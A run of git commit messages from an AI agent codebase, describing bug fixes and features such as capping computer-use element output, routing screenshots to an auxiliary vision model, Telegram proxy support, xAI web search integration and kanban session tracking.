3. `_coerce_max_elements` enforced a lower bound but no upper bound,
so `max_elements=10_000_000` silently disabled the safeguard and
reintroduced the original context-blow-up. Added a hard cap
(`_MAX_ALLOWED_MAX_ELEMENTS = 1000`) that clamps oversized values.
4. The schema string said "Default 100" but the property carried no
`default` field, and claimed `max_elements` had no effect on som/
vision while the image-missing fallback path can still return an
elements array. Added `"default": 100`, `"maximum": 1000`, and
clarified the fallback-path wording.
Each finding gets a regression test:
- test_capture_ax_clamps_oversized_max_elements_to_hard_cap
- test_capture_ax_summary_indices_match_returned_elements
- test_capture_multimodal_summary_omits_truncation_note
- test_schema_max_elements_documents_default_and_upper_bound
Verified with `pytest tests/tools/test_computer_use.py` (53 passed,
including the 5 new cases). Confirmed each new test fails on the
pre-fix code path before applying the production change.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
`computer_use(action='capture', mode='ax')` returned the full AX element
list verbatim in the JSON response. Dense Electron / Obsidian / JetBrains
UIs publish 500+ AX nodes (one reproduction in #22865 returned 597
elements against Obsidian), so a single capture could consume enough
context to trigger compression failures or render the session unusable.
The human-readable `_format_elements` summary is already capped at 40
lines, so the truncation gap was invisible to anyone reading the summary
output.
Add a `max_elements` argument to the tool schema, default 100, that
trims the AX `elements` array. When the cap fires, the response surfaces
`total_elements` and `truncated_elements` and appends a "raise
max_elements or pass app= to narrow" hint to the summary so the model
knows the JSON view is partial and can re-issue with a tighter scope.
Validation is centralized in `_coerce_max_elements`: missing /
non-integer / sub-1 inputs fall back to the default cap, so the
protection can never be silently disabled by a malformed tool-call
argument. The cap only affects AX-mode JSON; `mode='som'` and
`mode='vision'` keep returning a screenshot + image-aware summary
unchanged.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
When the active main model has no vision capability — or when the user
explicitly configured auxiliary.vision in config.yaml — sending the
captured screenshot back to the main model in a multimodal tool-result
envelope is the wrong move: it trips HTTP 404 / 400 at the provider
boundary (e.g. 'No endpoints found that support image input') and the
agent loop reports a hard tool failure for what should have been a
simple capture.
The reporter on #24015 hit this with:
model:
default: tencent/hy3-preview # no vision support
provider: openrouter
auxiliary:
vision:
provider: openrouter
model: google/gemini-2.5-flash # explicitly configured
…and observed:
computer_use(action='capture', mode='som')
→ ⚠️ API call failed (attempt1/3): NotFoundError [HTTP 404]
🔌 Provider: openrouter Model: tencent/hy3-preview
📝 Error: HTTP 404: No endpoints found that support image input
Fix: in tools/computer_use/tool.py::_capture_response, after a
screenshot is captured (modes 'som' / 'vision'), consult the routing
helper introduced earlier in this branch. When it says 'route to aux',
materialise the PNG to $HERMES_HOME/cache/vision/, run vision_analyze
on it (which honours auxiliary.vision via the standard async_call_llm
task='vision' router), and return a text-only JSON tool result that
embeds the analysis alongside the existing AX/SOM index. The main
model never sees the pixels — it sees an actionable text description
plus the same set-of-mark element index it normally uses.
The two new helpers (_should_route_through_aux_vision,
_route_capture_through_aux_vision) keep the policy and the IO
separated so each can be tested in isolation. Both fail open: if the
config import fails, if the aux call raises, or if the analysis is
empty, we fall back to the existing multimodal envelope so the
behaviour is at worst the pre-fix status quo. Temp screenshot files
are cleaned up unconditionally in a finally block — even on aux call
failure — to avoid leaving residue under cache/vision/.
The end-to-end regression for #24015 is added in the next commit.
Add tools/computer_use/vision_routing.py with
should_route_capture_to_aux_vision(provider, model, cfg) — a small
policy helper that decides whether a captured screenshot should be
returned as a multimodal envelope (main model has native vision) or
pre-analysed through the auxiliary.vision pipeline so the main model
only sees text.
The decision mirrors agent.image_routing.decide_image_input_mode for
user-attached images, so the capture path and the user-turn path agree
on what counts as an explicit aux vision override:
* provider/model/base_url under auxiliary.vision => explicit override
=> route through aux vision
* provider+model accepts multimodal tool results AND main model
reports supports_vision=True => keep multimodal envelope
* everything else (no tool-result image support, non-vision model,
metadata lookup failure) => fail closed and route through aux
No call sites are changed in this commit; the helper is added in
isolation so the routing decision can be unit-tested before it is
plumbed into _capture_response().
`CuaDriverBackend.capture(app=X)` and `focus_app(app=X)` silently fell back
to the frontmost on-screen window when X matched no app — typically a
menu-bar utility (e.g. "Fuwari" in the bug reporter's case) rather than
the requested app. The agent then received UI elements for the wrong app
and clicked / typed into it.
The root cause is a localized macOS app name mismatch: `list_windows`
returns the localized `app_name` (e.g. "計算機" on a Japanese/Chinese
system) but callers naturally pass the English name ("Calculator"). The
substring filter doesn't match, and the code falls through to picking the
frontmost window with no signal that the filter was effectively dropped.
Fix:
- `capture(app=…)`: when the filter matches nothing, return a
`CaptureResult` with empty `app`/`elements` and a diagnostic
`window_title` pointing the caller at `list_apps` and noting the
localized-name convention. `_active_pid` / `_active_window_id` are left
untouched so a subsequent action doesn't inadvertently hit the wrong
process.
- `focus_app(app=…)`: when the filter matches nothing, set `target = None`
and let the existing `return ActionResult(ok=False, …, "No on-screen
window found for app …")` path fire instead of falsely reporting success
on the frontmost window.
This addresses bug 1 only from #24170. Bugs 2 & 5 are addressed in #30046;
bugs 3 & 4 in #30032.
Bug 2 (capture_after=True loses app context):
_maybe_follow_capture called backend.capture(mode='som') with no app=,
causing cua-driver to capture the frontmost window instead of the app
targeted by the preceding capture/focus_app. Fix: track _last_app on
CuaDriverBackend and thread it through the follow-up capture call so
the same app is re-captured regardless of which window has OS focus.
Bug 5 (element labels stripped in capture results):
_ELEMENT_LINE_RE matched the classic ' - [N] AXRole "label"' format
but not the '[N] AXRole (order) id=Label' format introduced in
cua-driver v0.1.6. All element labels were silently dropped as empty
strings, making element identification impossible.
Fix: extend regex to capture both group(3) (quoted label) and group(4)
(id= label), and update _parse_elements_from_tree to use group(4) as
fallback. Both old and new cua-driver output now produce populated
UIElement.label values.
focus_app() now also sets _last_app so that capture_after= on any
subsequent action re-targets the focused app.
5 new regression tests added.
Part of #24170 (bugs 1 and 3/4 addressed separately).
* fix(skills): skip dependency dirs in skill scan
* fix(skills): widen sibling rglob scanners to use shared exclusion set
Follow-up to PR #29968. The contributor's PR widened EXCLUDED_SKILL_DIRS
in the canonical walker (iter_skill_index_files), which fixes the
user-visible discovery path. This commit sweeps the ~12 other
rglob('SKILL.md') sites that did their own ad-hoc filtering — most only
checked .git/.hub, some had no filter at all — so dependency dirs
(.venv, node_modules, site-packages, etc.) cannot leak ghost skills
through the secondary paths.
Adds agent.skill_utils.is_excluded_skill_path(path) helper. Migrates
all 13 sites to use it. Removes 3 hardcoded duplicate filter sets.
Sites touched:
agent/curator_backup.py - skill backup file count
gateway/run.py - disabled-skill response (2 sites)
hermes_cli/dump.py - skill count in env dump
hermes_cli/profile_describer.py- profile description (2 sites)
hermes_cli/profile_distribution.py - profile install count
hermes_cli/profiles.py - profile skill count
hermes_cli/skills_hub.py - category detection
tools/skill_manager_tool.py - skill name lookup (already used set, now uses helper)
tools/skill_usage.py - usage tracking + skill dir lookup (2 sites)
tools/skills_hub.py - optional skills find + scan (2 sites)
tools/skills_sync.py - bundled skills sync
E2E verified with the exact reported shape
(bring/scripts/.venv/.../typer/.agents/skills/typer/SKILL.md): no
sibling site picks up the ghost skill, all five legit-skill counts
still return 1.
* chore(infographic): retro-pop-grid bento for PR #30042 skill-scanner sweep
---------
Co-authored-by: helix4u <4317663+helix4u@users.noreply.github.com>
Bug 3: The cua_backend type_text() method called MCP tool 'type_text_chars'
which does not exist in current cua-driver. Changed to 'type_text' which is
the correct MCP tool name.
Bug 4: The drag() method returned a hardcoded 'not supported' error even
though cua-driver exposes a 'drag' MCP tool. Implemented proper drag
dispatching with coordinate-based and element-based targeting.
Added dispatch-level validation for drag to ensure from/to coordinates
or elements are provided before calling any backend.
Fixes#24170 (bugs 3 and 4)
Five call sites do os.chmod(path.parent, 0o700) without checking that
the parent resolves to a safe directory. If HERMES_HOME or another
path env var resolves to /, the chmod strips traversal permission from
the root inode and bricks the entire host.
Add secure_parent_dir() to hermes_constants.py that refuses to chmod
/ or any top-level directory (depth < 2). Replace all 5 call sites
with this helper.
Fixes#25821
Sibling fix on top of @EloquentBrush0x's PR #29441.
- tools/skills_hub.py GitHubSource.search() had the same r.name dedup bug.
Two configured GitHub taps publishing same-named skills would collapse to one.
- tests/hermes_cli/test_skills_hub.py:test_browse_skills_dedup_uses_identifier_not_name
patched hermes_cli.skills_hub.create_source_router, but browse_skills() imports
it locally from tools.skills_hub. Fixed patch path.
Browse.sh exposes skills by task name (e.g. "search-listings"), which is
shared across hundreds of sites. Deduplicating by name silently dropped
every browse-sh skill after the first one with a given task name — e.g.
only Airbnb's "search-listings" would survive, collapsing Booking.com,
Zillow, and every other site's variant into nothing.
Switch unified_search() and do_browse() to use r.identifier as the dedup
key. identifier is always globally unique (e.g.
"browse-sh/airbnb.com/search-listings-ddgioa"), so same-named skills from
different browse-sh hostnames are preserved as distinct results.
Update existing TestUnifiedSearchDedup tests to model the real scenario
(same identifier appearing from two sources) and add a regression test
that asserts browse-sh skills with the same name but different hostnames
are never collapsed.
The xAI Responses API for x_search returns 200 OK with a
synthesized fluff answer in two failure modes that callers currently
cannot distinguish from a real, citation-backed result:
1. Any narrowing filter (allowed_x_handles, excluded_x_handles,
from_date, to_date) was active, but the X index returned no
matching posts. The model then answers from training data.
2. The date range is malformed, inverted, or pure-future (e.g.
from_date=2030-01-01). The API call burns quota and Grok
responds with a generic answer.
Mitigations, both client-side:
* Validate from_date / to_date before the HTTP call:
- Strict YYYY-MM-DD.
- from_date <= to_date when both set.
- from_date <= today UTC (no posts in a window that hasn't
started). to_date in the future remains allowed so callers
can request 'from yesterday to tomorrow'.
* Add 'degraded' + 'degraded_reason' to successful responses.
degraded=True iff any narrowing filter was active AND both the
top-level 'citations' array and inline 'url_citation'
annotations came back empty. A broad query with no filters that
returns no citations is *not* flagged degraded — that case is
just an unsourced answer, not a filter miss.
Tests cover all four validation paths plus six degraded-flag
scenarios (each filter type, inline vs top-level citation
recovery, broad query baseline). All existing tests continue to
pass; the additions are purely additive on the success-path
response shape.
Discovered while testing the x_search toolset end-to-end:
queries scoped to @Teknium1 returned confident-sounding generic
text about Nous Research with zero citations, and from_date in
2030 produced sassy non-answers. Both are now detectable by the
caller.
* fix(lint): skip per-file shell linter when LSP will handle the file
`_check_lint` ran `npx tsc --noEmit FILE.ts` after every `.ts`/`.tsx`
edit. `tsc` ignores `tsconfig.json` when given an explicit file argument
(documented quirk) and defaults to no-lib / ES5, so every ES2015+ stdlib
reference reports as missing:
- `Cannot find global value 'Promise'`
- `Cannot find name 'Map' / 'Set' / 'ReadonlySet' / 'Iterable'`
- `Property 'isFinite' does not exist on type 'NumberConstructor'`
- `Module 'phaser' can only be default-imported using esModuleInterop`
- `import.meta is only allowed when --module is es2020+`
On real TypeScript projects this floods the `lint` field on
WriteResult / PatchResult with up to 25K tokens of false positives
per edit. The delta filter in `_check_lint_delta` is supposed to mask
them, but a tiny edit shifts line numbers and every phantom resurfaces
as "introduced by this edit". The result is a 1MB+ phantom-error dump
on every patch that eats the agent's context budget. Same shape for
`.go` (`go vet` outside a module) and `.rs` (`rustfmt --check` outside
a Cargo project).
PR #24168 added an LSP tier on top of this — real `tsserver` / `gopls`
/ `rust-analyzer` diagnostics surface in the separate `lsp_diagnostics`
field. But the broken shell linter kept running underneath, so the
phantom-error dump kept happening even when LSP was giving us a clean
authoritative signal.
This change short-circuits the shell linter for the structurally-broken
extensions (`.ts`, `.tsx`, `.go`, `.rs`) when an LSP server is active
and claims the file via `LSPService.enabled_for(path)`. The LSP tier
runs as before and carries the real diagnostics in `lsp_diagnostics`.
Other shell linters (`py_compile`, `node --check`) keep running
unconditionally — they're fast, file-local, and correct.
Default behavior (LSP disabled, LSP misconfigured, remote backend, file
outside a workspace) is unchanged — the existing fallback paths trigger
when `_lsp_will_handle` returns False, so users who haven't opted into
LSP get the same shell-linter behavior they had before.
Drive-by: `.tsx` was missing from the `LINTERS` table entirely, so TS
React files got no post-edit syntax check at all. Added it for
symmetry; in practice it now hits the LSP-skip path.
Tests:
- `tests/agent/lsp/test_shell_linter_lsp_skip.py` — 14 tests covering:
* skip happens for each redundant extension when LSP claims the file
(asserted by patching `_exec` to raise on any shell-linter call)
* shell linter still runs when LSP is inactive (regression guard)
* `.py` / `.js` continue to run unconditionally even with LSP active
* `_lsp_will_handle` is exception-safe: returns False on None
service, remote backend, or `enabled_for` raising
* `.tsx` is in both `LINTERS` and `_SHELL_LINTER_LSP_REDUNDANT`
- All pre-existing tests in `tests/agent/lsp/` and
`tests/tools/test_file_operations*.py` still pass (233/233).
* fix(lint): address Copilot review on #29054
Two fixes from copilot-pull-request-reviewer on PR #29054:
1. `.tsx` regression with LSP disabled
(https://github.com/NousResearch/hermes-agent/pull/29054#discussion_r3271017282)
The first revision added `.tsx` to the `LINTERS` table so that
TypeScript React files would hit the LSP skip path. Side effect:
when LSP is *disabled* (the default), `.tsx` edits would suddenly
run `npx tsc --noEmit FILE.tsx` and inherit the same phantom-error
dump this PR is supposed to fix. Pre-PR behavior was implicit
`skipped` (no `LINTERS` entry); restore that.
- Remove `.tsx` from `LINTERS`.
- Remove `.tsx` from `_SHELL_LINTER_LSP_REDUNDANT` (the skip path
is unreachable without a `LINTERS` entry — falls through to
`ext not in LINTERS` first).
- When LSP IS enabled, `.tsx` is still covered by the LSP tier
via `_maybe_lsp_diagnostics` (typescript-language-server's
`extensions` tuple includes `.tsx`), so the diagnostics still
surface — just on the `lsp_diagnostics` channel, not `lint`.
- Update test_shell_linter_lsp_skip.py to reflect this contract
(drop `.tsx` from the parametrize lists; add
`test_tsx_stays_out_of_linters_table_for_default_compatibility`
and `test_tsx_default_check_lint_returns_skipped`).
2. V4A patches dropped `WriteResult.lsp_diagnostics`
(https://github.com/NousResearch/hermes-agent/pull/29054#discussion_r3271017295)
`tools/patch_parser.py::apply_v4a_operations` calls
`file_ops.write_file()` per operation, then calls `_check_lint()`
directly afterwards — but never propagates `WriteResult.lsp_diagnostics`
to the `PatchResult`. The shell-linter skip introduced in this PR
makes the gap visible: a `.ts` / `.go` / `.rs` V4A patch with LSP
active would return `lint = {f: {skipped: True}}` and zero
diagnostics from any channel.
- `_apply_add` and `_apply_update` now return
`Tuple[bool, str, Optional[str]]` where the third element is
`WriteResult.lsp_diagnostics` (or `None` on failure / no diags).
- `_apply_delete` and `_apply_move` stay 2-tuples — they don't
produce diagnostics, no write goes through `write_file`.
- `apply_v4a_operations` accumulates per-file diagnostics blocks
and surfaces a combined block on `PatchResult.lsp_diagnostics`.
Each block already carries its `<diagnostics file="...">` header
from `LSPService.report_for_file`, so concatenation preserves
per-file attribution.
Tests added (`test_patch_parser.py::TestV4ALspDiagnosticsPropagation`):
- ADD op: `WriteResult.lsp_diagnostics` flows to `PatchResult`
- UPDATE op: same
- No diagnostics → `PatchResult.lsp_diagnostics is None` (not "")
- Multi-file patch: combined block contains every per-file block
Verification:
- Targeted test scope: 257/257 pass
(tests/agent/lsp/, tests/tools/test_file_operations*.py,
tests/tools/test_patch_parser.py)
- Wider sweep: 5400 pass; 11 failures all pre-existing on origin/main
(file_staleness / file_read_guards / file_state_registry — unrelated
macOS /var/folders tmp-path sensitivity issues, confirmed by
re-running on a clean origin/main checkout)
* docs(test): align shell-linter LSP skip docstring with .tsx behavior
Copilot review feedback (review #4324947616, comment #3271049036):
the test module docstring still listed .tsx alongside .ts/.go/.rs in
the skip contract, but .tsx is now intentionally NOT in LINTERS or
_SHELL_LINTER_LSP_REDUNDANT. Updated the bullet list to drop .tsx from
the skip contract and added a paragraph documenting why .tsx is left
out (preserves pre-PR implicit-skip behavior for LSP-disabled users;
LSP coverage still happens via _maybe_lsp_diagnostics).
* test(lsp): drop unused tmp_path from _make_fops helper
Copilot review #3271069484: the helper accepted tmp_path but never
used it. Callers still need tmp_path themselves for the file they're
asserting against, so we just drop the helper's parameter.
Add browser CDP launch candidates for Chrome, Chromium, Brave, and Edge while preserving Chrome-first selection. Retry candidate launch failures instead of giving up after the first executable.
Update /browser CLI and TUI messaging, docs, and tool descriptions from Chrome-only wording to Chromium-family browser support. Add regression coverage for Brave/Edge paths, Chrome-first precedence, fallback launches, and CDP endpoint probing.
Commits 8bf09455d (Grogger, explicit creationflags=) and 95683c028
(nekwo, **_popen_kwargs via windows_hide_flags()) landed 77 minutes
apart and both injected creationflags into the same subprocess.Popen
call. nekwo's commit correctly replaced the explicit line in
tools/process_registry.py but only added the kwargs spread in
tools/environments/local.py -- leaving creationflags specified twice.
Result on Windows: every LocalEnvironment.init_session() raised
"subprocess.Popen() got multiple values for keyword argument
'creationflags'" and fell back to bash -l per command (much slower --
bashrc runs on every shell invocation).
Drop the explicit line so **_popen_kwargs is the single source.
`_wait_for_process()` was sleeping for a fixed 200ms between polls of
the subprocess exit status. For commands that complete in <50ms (echo,
pwd, date, cat short files, write_file with small content, read_file
with small content), the agent was stuck waiting for the next 200ms
tick to notice the process had exited. That floor was the dominant
component of per-tool latency for typical short commands.
Replace with adaptive backoff: start at 5ms, multiply by 1.5 each
iteration up to 200ms. Fast commands (the common case) return in
~6ms; long-running commands (builds, tests, sleeps) reach the 200ms
steady-state poll rate within ~12 iterations (~150ms total) and pay
identical CPU after that.
Tool-call wall time (deterministic microbench of `echo first`):
before: median 200ms min 200ms max 200ms
after: median 5ms min 5ms max 7ms
saved: ~195ms per terminal tool call
End-to-end chat -q with 3 sequential terminal tool calls
(`echo first`, `echo second`, `echo third`):
before: median 5.73s, min 5.61s
after: median 4.64s, min 4.60s
saved: ~1100ms wall per turn
Live tmux session: a typical 'write file, read it back' turn now
displays each tool as 0.1s in the spinner (was 0.9s before). The
agent observes the subprocess exit ~200ms faster per call. For chat
workflows that do 4-8 terminal/file calls per turn this saves
800ms-1.5s of pure wall-clock waiting.
Why it's safe:
- Interrupt and timeout checks still fire on every iteration (no
longer rate-limited to 5/sec)
- Activity callback fires on the same 'due' schedule (`touch_activity_if_due`)
- DEBUG_INTERRUPT heartbeat is unchanged (30s)
- Steady-state poll rate for long-running commands matches the old
200ms within ~150ms of startup
Tests:
- tests/tools/ — 5246 passed, 22 skipped, 2 pre-existing xdist flakes
(test_delegate.py::test_depth_limit, test_constants — pass in isolation)
- Live tmux: 2-turn conversation + multiple tool calls, no errors
Adds a new bundled web search provider plugin backed by xAI's agentic
Web Search tool (server-side `web_search` on the Responses API). Slots
in alongside the existing Firecrawl / Tavily / Exa / Brave / SearXNG /
DDGS providers; opt in via `web.backend: xai` (or auto-selected by the
registry's single-provider shortcut when it's the only available web
provider, matching every other backend's behavior).
Reuses the existing xAI HTTP credential plumbing (`tools/xai_http.py`)
so it works with both `hermes auth login xai-oauth` (SuperGrok OAuth)
and `XAI_API_KEY` — no new credential paths, no new env vars, no new
setup-wizard prompts. The existing `xai_grok` post_setup hook handles
credential collection.
Reference: https://docs.x.ai/developers/tools/web-search
Provider behavior
-----------------
- Sends a structured prompt to Grok with `tools=[{"type": "web_search"}]`
enabled and `include=["no_inline_citations"]`, then parses results
from a `{"results": [...]}` JSON block (primary), falling back to
`url_citation` annotations (secondary) and the top-level `citations`
list (last-ditch). Annotation fallback falls through to citations
when no rows are extractable, so future annotation types xAI may
add don't silently mask real data.
- HTTP 200 + `{"error": {...}}` envelopes (model-overload, refusal)
are surfaced as failures rather than masked as success-with-empty-
results.
- HTTP 401 on the OAuth path triggers a single `force_refresh=True`
retry — closes two gaps the resolver's proactive JWT-exp shortcut
doesn't cover: opaque (non-JWT) access tokens and mid-window
revocation. Env-var (`XAI_API_KEY`) credentials never retry; they
can't be refreshed and an immediate retry would just burn quota.
- `is_available()` is a cheap probe (env var OR auth.json read), never
invokes the OAuth resolver — required by the ABC contract because
it runs on every `hermes tools` repaint and at tool-registration time.
- Class docstring documents the LLM-in-a-trench-coat trust model so
callers piping untrusted input into `web_search` know returned URLs
are model-generated and should be validated before fetching.
Config (`config.yaml`):
web:
backend: xai
xai:
model: grok-4.3 # optional, defaults to grok-4.3
allowed_domains: # optional, max 5 — mutex with excluded_domains
- arxiv.org
excluded_domains: # optional, max 5
- example-spam.com
timeout: 90 # optional, seconds
Files
-----
- plugins/web/xai/plugin.yaml (new) plugin manifest
- plugins/web/xai/__init__.py (new) register(ctx) hook
- plugins/web/xai/provider.py (new) XAIWebSearchProvider impl
- tools/xai_http.py (+47) has_xai_credentials()
cheap-probe helper +
keyword-only force_refresh
arg on resolve_xai_http_
credentials() (backwards
compatible; all 9 other
call sites unaffected)
- tools/web_tools.py (+11) "xai" added to configured-
backend set + branch in
_is_backend_available()
- tests/tools/test_web_providers_xai.py (new, 39 tests) covers
identity, cheap-probe semantics,
JSON / annotation / citations
parse paths, request payload
shape, error envelopes, OAuth
force-refresh-on-401 retry,
env-var-no-retry guard, 500-not-
retried guard, refresh-returns-
same-token guard, OAuth runtime
resolution, and backend wiring.
Tests
-----
- 39 xai-suite passes
- 79 sibling web-provider tests (brave-free, ddgs, searxng, base) pass
- 119 cross-suite tests for other xai_http callers (transcription,
x_search, tts) pass — verifies the new keyword-only arg is BC
- scripts/check-windows-footguns.py: clean on all 5 modified files
No edits to run_agent.py, cli.py, gateway/, toolsets, config schema,
plugin core, or auth core.
The catalog's sourceUrl points at github.com/browserbase/browse.sh,
whose underlying repository is not always public — most raw URLs derived
from it 404. Use the per-skill detail endpoint instead, which returns a
skillMdUrl CDN blob that reliably resolves to the SKILL.md text. Fall
back to a raw.githubusercontent.com sourceUrl if the detail call fails.
- tools/skills_hub.py: rewrite BrowseShSource.fetch() to resolve via
/api/skills/{slug} -> skillMdUrl; drop the unreachable _to_raw_url
helper; expose the resolved URL in bundle.metadata.skill_md_url.
- tests/tools/test_skills_hub_browse_sh.py: match the real catalog
shape (name = task name, slug = host/task-id), exercise the
detail-endpoint -> blob two-call flow, and add a fallback test.
- scripts/release.py: map kylejeong21@gmail.com -> Kylejeong2.
Adds BrowseShSource — a new skill source adapter that integrates
Browserbase's browse.sh catalog (169+ site-specific SKILL.md files)
into the Hermes Skills Hub.
- BrowseShSource class in tools/skills_hub.py implementing SkillSource ABC
- Fetches browse.sh catalog API with 1h TTL cache
- Full-text search across name, title, description, hostname, category, tags
- fetch() downloads SKILL.md via sourceUrl (GitHub HTML -> raw URL conversion)
- Registered in create_source_router() after LobeHubSource
- Tests in tests/tools/test_skills_hub_browse_sh.py (7 tests, all passing)
Apply Windows CREATE_NO_WINDOW flags to foreground local terminal subprocesses and tracked background processes so Hermes operations do not flash or steal focus with extra console windows.
When 'hermes update' syncs bundled skills, the summary line only shows
the count of user-modified skills that were kept (e.g. '3 user-modified
(kept)'), but not *which* skills. Once the update finishes, the user
has no way to know which skills need triage.
Append the skill names to the summary line, truncated to 5 with a
'+N more' suffix for long lists:
Done: 12 new, 3 updated, 7 unchanged, 3 user-modified (kept):
hermes-agent, debugging-hermes-tui-commands, system-health.
25 total bundled.
Closes#28121
Sweep of all CI failures on origin/main, grouped by drift source:
Telegram allowlist gate (db50af910 added user-authz to _should_process_message):
- Hardcoded "[Telegram]" prefix in the logger.warning so the call no
longer dereferences self.name → self.platform, which test fixtures
built via object.__new__ never set.
- test_telegram_format / test_allowed_channels_widening fixtures stub
_is_callback_user_authorized → True so the new gate doesn't reject
guest-mode / allowed-channels test messages.
- test_telegram_approval_buttons::test_update_prompt_callback_not_affected
sets TELEGRAM_ALLOWED_USERS="*" so the fail-closed default doesn't
reject the callback before it writes .update_response.
Approval surface (6d495d9e7 renamed status, 214b95392 detached stdin):
- test_no_callback_returns_approval_required: status is now
"pending_approval" (was "approval_required").
- test_close_stdin_allows_eof_driven_process_to_finish: switch to
use_pty=True; non-PTY now uses stdin=DEVNULL.
Mattermost (send() now resolves root_id via _api_get first):
- test_send_with_thread_reply mocks _session.get with a thread-root
response so the new resolver doesn't TypeError on a bare AsyncMock.
Kanban (d8ad431de rename, f55d94a1e review column, _kanban_worker_skill_available):
- _safe_int → _to_epoch in the two test_kanban_db tests.
- Spawn-skills tests (×3) monkey-patch _kanban_worker_skill_available
to True since the isolated kanban_home fixture has no devops/kanban-worker tree.
- test_gateway_dispatcher_disables_corrupt_board: connect count
3 → 5 (review-column probe now also runs per tick).
Aux-config severity at_or_above (a94ddd807):
- test_diagnostics_endpoint_severity_filter expects warning filter to
include error+critical now (was exact-match).
Anthropic error handling (conversation loop extracted from run_agent):
- _no_backoff_wait fixture patches BOTH run_agent.jittered_backoff AND
agent.conversation_loop.jittered_backoff. The latter is the actual
call site; without the second patch tests burn ~2s per retry and
hit the 30s SIGALRM timeout on CI.
Other test pollution / drift:
- test_auto_does_not_select_copilot_from_github_token: patch
agent.bedrock_adapter.has_aws_credentials → False so boto3's
credential chain can't auto-pick Bedrock from developer ~/.aws.
- test_setup_openclaw_migration: patch hermes_cli.gateway.get_env_value
in addition to setup_mod.get_env_value — _platform_status reads
through the gateway module's binding.
- test_gateway_prefix: COMPONENT_PREFIXES["gateway"] now includes
"hermes_plugins" too.
- test_recommended_update_command_defaults_to_hermes_update: also
short-circuit get_managed_update_command in case a stray
~/.hermes/.managed marker is present.
- test_user_id_is_not_explicit: _parse_target_ref now returns
is_explicit=False for Slack U.../W... IDs (chat.postMessage rejects
them — a DM must be opened first via conversations.open).
1. trajectory_compressor.py: yaml.safe_load() returns None on empty
files, crashing with TypeError on `if 'tokenizer' in data`. Fix by
adding `or {}` fallback. (HIGH — blocks startup with empty config)
2. 6 files with fcntl.flock(LOCK_UN) in finally blocks without
try/except: cron/scheduler.py, hermes_cli/auth.py,
agent/shell_hooks.py, tools/skill_usage.py,
tools/environments/file_sync.py, tools/memory_tool.py. If unlock
raises OSError, fd.close() is skipped and the lock is held forever.
The msvcrt branches already had try/except; the fcntl branches did
not. Fix by wrapping in try/except (OSError, IOError): pass.
3. agent/copilot_acp_client.py line 639: TOCTOU race — path.exists()
followed by path.read_text() with no try/except. If file is deleted
between the check and the read, FileNotFoundError propagates. Fix
by using try/except FileNotFoundError.
4. gateway/sticker_cache.py: non-atomic write via Path.write_text()
can leave truncated JSON on crash, causing JSONDecodeError on next
load. Fix by writing to tempfile + fsync + os.replace (atomic).
The standalone _send_telegram path in send_message_tool lacked the
thread-not-found fallback that the gateway adapter has. When a forum
topic thread_id was stale or deleted, the send would fail entirely
instead of retrying to the General topic.
Changes:
- Add _is_telegram_thread_not_found() helper matching gateway adapter
- Add thread-not-found retry in text send path
- Add thread-not-found retry in media send path (with f.seek(0))
- Separate text_kwargs from thread_kwargs to prevent
disable_web_page_preview leaking into send_photo/send_video calls
Closes#27012
When sending messages containing @username patterns, auto-generate
MessageEntity(type='mention') entries so that the receiving bot's
require_mention filter can trigger. This enables proper bot-to-bot
interop where mention-based routing is used.
Background-process completion notifications (notify_on_complete) and
watch-pattern notifications were always delivered to the Telegram main
chat instead of the originating private-chat topic.
Hermes-created Telegram DM topic lanes only render a send when it carries
both message_thread_id and a reply anchor. The synthetic MessageEvent
injected on process completion had no message_id, so _reply_anchor_for_event
returned None and _thread_kwargs_for_send dropped message_thread_id
entirely — routing the notification to the main chat.
Capture the triggering message id at spawn time and thread it through to
the synthetic event so it can be reply-anchored back into the topic:
- session_context: add HERMES_SESSION_MESSAGE_ID context var
- telegram adapter: populate SessionSource.message_id on inbound messages
- terminal tool: persist watcher_message_id on the process session
- process registry: carry/persist message_id on watcher dicts + checkpoint
- gateway: set MessageEvent.message_id on injected notifications
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
When the send_message tool runs outside the gateway process (agent loop,
TUI, cron, etc.), _gateway_runner_ref() returns None and the standalone
path in _send_telegram constructs Bot(token=token) directly, bypassing
any configured proxy. In regions where api.telegram.org is blocked, the
send times out after ~5s with 'Telegram send failed: Timed out' and
nothing ever shows up in gateway.log because the request never reaches
the gateway.
Resolve TELEGRAM_PROXY (via gateway.platforms.base.resolve_proxy_url,
which also honours HTTPS_PROXY/HTTP_PROXY/ALL_PROXY and NO_PROXY) just
before constructing the Bot. When a proxy is found, attach an
HTTPXRequest(proxy=...) for both 'request' and 'get_updates_request',
matching what gateway/platforms/telegram.py already does for in-gateway
sends and what the Discord standalone sender already does. Any
exception attaching the proxy falls back cleanly to a direct connection,
preserving prior behaviour for users without a proxy configured.
Adds tests/tools/test_send_message_telegram_proxy.py covering both the
proxy-configured and no-proxy cases.
Salvages #23208 by @awizemann. Tracks which chat session created a
kanban task so clients can render a per-session board without falling
back to tenant + time-window heuristics.
- Schema: tasks gains nullable session_id TEXT column with index
(additive migration in _migrate_add_optional_columns).
- ACP: server.py exposes the originating session id via HERMES_SESSION_ID
with save/restore around the agent loop.
- Tool: kanban_create reads HERMES_SESSION_ID (with explicit override).
- CLI: 'hermes kanban list --session <id>' filter; JSON output exposes
session_id.
Salvages #26897 by @loicnico96. The per-task model_override DB column
already exists on main, but it wasn't exposed in user-facing surfaces.
This adds:
- 'kanban show' prints 'model: <name>' when model_override is set
- kanban_show / kanban_list tool responses include the model_override field
Original branch was stale (PR was authored against an older field name
'model'); applied the substantive surface exposure manually using the
current 'model_override' field name.
Salvages #28199 by @bensargotest-sys. Aligns Kanban docs with current
tool registration: dispatcher-spawned task workers get task tools,
profiles that explicitly enable the kanban toolset get orchestrator
routing tools (kanban_list, kanban_unblock). Corrects failure-limit
text to current default of 2. Hardens the e2e subprocess script to
resolve repo root and use the spawnable default assignee. Updates the
diagnostics severity fixture to assert error below the critical
threshold.
Salvages #23738 by @LeonSGP43. Wheel installs were missing skills/ and
optional-skills/ because pyproject's [tool.setuptools.packages.find]
only includes Python packages — the skills directories don't have
__init__.py so they were silently dropped from the wheel.
Adds setup.py with data_files spec emitting skills/* and optional-skills/*
under hermes_agent-<v>.data/data/, and a get_bundled_skills_dir() helper
in hermes_constants that discovers the wheel-installed location via
sysconfig before falling back to a source-checkout path. tools/skills_sync
uses the helper so 'hermes update' works for pip-installed users.
